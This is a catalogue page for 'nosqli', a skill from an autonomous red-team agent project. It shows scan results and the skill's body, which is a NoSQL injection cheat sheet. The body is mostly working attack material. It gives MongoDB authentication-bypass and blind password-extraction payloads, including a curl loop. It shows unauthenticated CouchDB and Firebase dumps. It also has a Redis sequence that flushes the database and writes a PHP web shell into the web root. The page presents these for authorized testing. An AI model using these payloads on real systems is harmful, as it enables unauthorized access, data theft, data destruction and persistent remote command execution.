Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill nosqligit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/nosqli)<a href="https://agentmods.dev/skills/purpleailab/decepticon/nosqli"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/nosqli/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/nosqli"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/nosqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 67 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
- medium Data Exfiltration · line 38 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 47 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00038 | $0.00992 |
| Opus 5 | $0.00019 | $0.00496 |
| Sonnet 5 | $0.00008 | $0.00198 |
| Haiku 4.5 | $0.00004 | $0.00099 |
Grade A, and why
nosqli scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -X POST $TARGET/login \ Copies of this mod
1 near-identical copy found in the catalogue:
- nosqli — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.
NoSQL Injection
NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.
1. MongoDB — most common target
Auth bypass
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}} // returns first user
{"user": "admin", "pass": {"$gt": ""}} // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}} // blind char extraction
Server-side JS injection
{"$where": "this.user == 'admin' && sleep(5000)"} // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
$where was deprecated in Mongo 4.4 — still appears in legacy.
Operator extraction (blind)
# Burp Intruder w/ payload list
for char in {a..z}; do
curl -s -X POST $TARGET/login \
-d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
| grep -q "success" && echo "char: $char"
done
2. CouchDB
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
3. Firebase Realtime Database
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
4. Redis
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
5. Tools
- NoSQLMap — automated mongo injection (
nosqlmap.py) - mongoaudit — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- fuzzdb — has NoSQL payload variants
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 117 lines · 38 tokens per session scan A 2e21ec1f1153
nosqli is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 38 tokens to every session and 992 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
byted-volcengine-mongodb
An operations tool for Volcengine MongoDB, a document database that stores data in flexible, JSON-like records. It can query managed MongoDB instances and return details for further explanation or diagnosis.
database-mongodb
Apply MongoDB data-modeling, indexing, and query rules from access patterns. Use when designing schemas, choosing embed vs reference, or tuning MongoDB query behavior.
mongodb-expert
Expert-level MongoDB database design, aggregation pipelines, indexing, replication, and production operations. Use when the user mentions NoSQL, database, aggregation, or performance, or when the task involves CRUD Operations, Query Operators, Aggregation Pipeline, or Indexing.
azure-documentdb
Expert knowledge for Azure DocumentDB development including troubleshooting, best practices, decision making, architecture & design patterns, limits & quotas, security, configuration, integrations & coding patterns, and deployment. Use when using DocumentDB search (BM25/vector), Data API, MongoDB compatibility, change…
mongodb
Query and modify MongoDB collections via exec, using an operation + collection + JSON query syntax.
extension-backend
Build backend APIs for Chrome extensions. NestJS + MongoDB (Mongoose) recommended stack. Auth, webhooks, license verification, CORS. Use when: backend, API, server, database, license, webhook.